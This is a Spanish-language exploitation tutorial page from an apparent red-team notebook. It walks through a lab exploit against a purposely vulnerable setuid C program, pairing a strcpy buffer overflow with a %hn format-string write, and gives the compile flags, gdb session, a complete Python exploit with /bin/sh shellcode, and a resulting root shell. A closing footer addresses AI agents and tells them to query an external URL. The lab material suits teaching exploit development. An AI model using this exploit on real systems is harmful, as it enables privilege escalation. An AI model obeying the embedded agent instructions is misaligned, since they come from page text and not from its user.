# ATAQUE FORMAT STRING RET2SHELLCODE 2 BYTES

## Análisis del programa vulnerable  FS1 <a href="#analisis-del-programa-vulnerable" id="analisis-del-programa-vulnerable"></a>

### Código Fuente

```
int main(int argv,char **argc) {
	short int zero=0;
	int *plen=(int*)malloc(sizeof(int));
	char buf[256];

	strcpy(buf,argc[1]);
	printf("%s%hn\n",buf,plen);
	while(zero);
}
```

### ¿Qué hace el programa? <a href="#que-hace-el-programa" id="que-hace-el-programa"></a>

El programa vulnerable copia en `buf` el primer parámetro ingresado por el usuario. Imprime por salida estándar el contenido de `buf` y guarda en `plen` la cantidad de bytes impresos. Si la variable `zero` se mantiene intacta el loop `while(zero)` no se ejecuta y el proceso finaliza.

```
user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o fs1 fs1.c
user@abos:~$ sudo chown root ./fs1; sudo chmod u+s ./fs1                      ; root owner & setuid

user@abos:~$ ./fs1 AAAAA
AAAAA
user@abos:~$ ./fs1 BBBBBBB
BBBBBBB
```

### ¿Cuál es la dificultad principal? <a href="#cual-es-la-dificultad-principal" id="cual-es-la-dificultad-principal"></a>

* Si se sigue la estrategia de sobreescribir la dirección de retorno de `main`, de manera colateral se pisa el valor de `zero` provocando un loop infinito. Frente a esto el proceso nunca retorna y la reescritura de la dirección de retorno en la pila es inútil.

![pila](https://fundacion-sadosky.github.io/guia-escritura-exploits/format-string/imagenes/fs1/escritura-zero.png)

* Es necesario pensar en un ataque combinado de desbordamiento de búfer y el aprovechamiento de una vulnerabilidad del tipo format string.

### Layout de la pila antes del exploit: <a href="#layout-de-la-pila-antes-del-exploit" id="layout-de-la-pila-antes-del-exploit"></a>

```
[ebp-264]  = buf
[ebp-8]    = plen
[ebp-4]    = zero
[ebp]      = ebp anterior
[ebp+4]    = dirección de retorno
```

![pila](https://fundacion-sadosky.github.io/guia-escritura-exploits/format-string/imagenes/fs1/layout-pila.png)

## Ataque Format String: <a href="#ataque-format-string-1" id="ataque-format-string-1"></a>

La reescritura de la dirección de retorno de `main` a través de un desbodamiento de búfer -en la función `strcpy`- obliga a sobreescribir la variable `zero` (por su ubicación en la pila entre `buf` y la dirección de retorno). Para que el ataque funcione es necesario que `main` retorne y por ende que `zero` continúe siendo 0.

![pila](https://fundacion-sadosky.github.io/guia-escritura-exploits/format-string/imagenes/fs1/escritura-zero-2.png)

> **Consideraciones**: no es plausible como solución sobreescribir `zero` con el valor numérico de `0000`. Como el desbordamiento de bufer se logra a través `strcpy`, una función que manipula strings, si optamos por escribir en `zero` el string “0000” estaríamos almacenando en `zero` el código ascii: `0x30303030`. Y por ende no lograríamos el objetivo de que el programa retorne.

Para solucionar este escollo es necesario combinar el ataque de desbordamiento de búfer con un ataque del tipo format string.\
Este ataque tomará dos pasos. Primero, aprovechar `strcpy(buf,argc[1])` para inyectar el shellcode y sobreescribir la dirección de retorno de `main()` almacenada en la pila para que apunte a él. Y en un segundo paso, aprovechamos `printf("%s%hn\n",buf,plen)` para volver a `zero = 0` de manera indirecta a través de `plen`, gracias a una vulnerabilidad del tipo format string. Paso a paso la estrategia será la siguiente:

**Primera parte**: aprovechando el código `strcpy(buf,argc[1])`:

* Inyectamos el shellcode en `buf`.
* Con un desbordamiento sobreescribimos `plen` para que apunte a `zero`.
* Y sobreescribimos la dirección de retorno de `main()` para que apunte a `buf`.

**Segunda parte**: aprovechando `printf("%s%hn\n",buf,plen)`:

* Esta línea de código nos va a permitir escribir un valor arbitrario de no más de dos bytes en `plen`.\
  [Como se indicó previamente](https://fundacion-sadosky.github.io/guia-escritura-exploits/format-string/5-format-string.html#par%C3%A1metros-de-formato) el parámetro `%n` escribe la cantidad de bytes impresos en la dirección especificada. Cuando se lo utiliza como `%hn` como en este caso (con una `h` de *half* como formato adicional de longitud) va a escribir la cantidad de caracteres impresos pero en un short de 2 bytes.
* Gracias al desbordamiento de búfer previo, `plen` apunta a `zero`. El primer `%s` del format string va a imprimir el string en `buf` hasta llegar a un caracter nulo, si logramos que la extensión de ese string sea de 10000 en hexa -como `%hn` escribe sólo dos bytes- logramos escribir `0000` en `plen` (quedando descartado el 1 inicial de (1)0000).\
  Entonces como `plen` apunta a `zero` si manipulamos adecuadamente la extensión de `buf` logramos el objetivo de que `zero = 0` indirectamente a través de `plen`.\
  Con ello evitamos el loop infinito del `while(zero)` y logramos que `main` retorne al código malicioso inyectado en el primer paso.

<div align="center"><img src="https://fundacion-sadosky.github.io/guia-escritura-exploits/format-string/imagenes/fs1/exploit.png" alt=""></div>

Para lograrlo llevamos a cabo los siguientes pasos.

1. Identificamos la dirección de `buf` en `gdb`

   > **Consideraciones**: como el argumento que le vamos a pasar a `strcpy` se almacena en la pila, su longitud afecta el cálculo de la dirección de `buf`. En este caso sabemos que la longitud total del argumento (es decir la cantidad de caracteres que va a imprimir `printf`) debe ser de `0x(1)0000` que en decimal es `65536`.\
   > Por eso para conocer la dirección que tendrá `buf` debugeamos el programa con un argumento cualquiera pero de esa longitud.

   Armamos un archivo en Python para ingresar el input: `exploit.py`

   ```
   #! /usr/bin/env python
      
   import sys
      
   exploit = "A" * 65536                   # 0x1000 == 65536
      
   sys.stdout.write(exploit)
   ```

   Y ejecutamos el programa vulnerable con ese argumento para conocer la dirección de `buf`:

   ```
   $ ../r.sh gdb ./fs1
   GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
   (gdb) break main
   (gdb) r "$(./exploit.py)"
   (gdb) break 6
   (gdb) c
   Continuing.
      
   Breakpoint 2, main (argv=3, argc=0xbffff814) at fs1.c:6
   6   strcpy(buf,argc[1]);
      
   (gdb) x/wx buf
   0xbffef680: 0x00000000
   ```

   La dirección de `buf` es entonces `0xbffef680`.
2. Planificamos el argumento de entrada
   * Inyectamos el shellcode en `buf`.
   * Hacemos que `plen` apunte a `zero`.
   * Escribimos basura en `zero` (porque vamos a pisar su valor).
   * Incluimos una dirección válida cualquiera en `ebp`.
   * Sobreescribimos la dirección de retorno para que apunte al shellcode.
   * Extendemos longitud del input para imprimir un total de (1)0000 bytes, cantidad almacenada en `plen` (que apuntará a `zero`).

![pila](https://fundacion-sadosky.github.io/guia-escritura-exploits/format-string/imagenes/fs1/exploit.png)

1. Con eso en mente editamos el archivo en Python con el argumento definitivo: `exploit.py`

   ```
   #! /usr/bin/env python
      
   import sys
   from struct import pack
      
   #pwn a shell
   shellcode  = "\xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08"
   shellcode += "\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\x31\xd2"
   shellcode += "\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8"
   shellcode += "\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
   shellcode += "\x41\x42\x42\x42\x42\x43\x43\x43\x43"
      
   buf_size = 256
      
   buf_addr  = 0xbffef680
   zero_addr = buf_addr + buf_size + 4 + 2         #addr zero (4 bytes: int plen; 2 bytes: short int zero)
      
   exploit  = "\x90" * 80                          #nop sled
   exploit += shellcode                            #shellcode
   exploit += "\x42" * (256-80-len(shellcode))     #fill buf
   #total: 256 bytes
      
   exploit += pack("<I", zero_addr)                #plen -> &zero
   exploit += "AAAA"                               #basura en zero
   exploit += pack("<I", buf_addr)                 #basura -addr existente- en ebp
   exploit += pack("<I", buf_addr)                 #ret addr -> &shellcode
   #total: 16 bytes

   exploit += "B" * (65536-256-16)                 #%hn contabiliza 0x10000 o 65536 bytes (*plen = 0000)

   sys.stdout.write(exploit)
   ```
2. Ejecutamos el exploit

   ```
   user@abos:~$ ../r.sh ./fs1 "$(./exploit.py)"

   BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
   # whoami
   root
   # id
   uid=1001(user) gid=1001(user) euid=0(root) groups=1001(user),27(sudo)
   # 
   ```

### Layout de la pila después del exploit: <a href="#layout-de-la-pila-despues-del-exploit" id="layout-de-la-pila-despues-del-exploit"></a>

Gráficamente logramos el siguiente resultado:

![pila después](https://fundacion-sadosky.github.io/guia-escritura-exploits/format-string/imagenes/fs1/programa-explotado.png)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ricardev.gitbook.io/red-team/pwn-linux/estrategias-de-exploit/stack-exploits/ataque-format-string-ret2shellcode-2-bytes.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
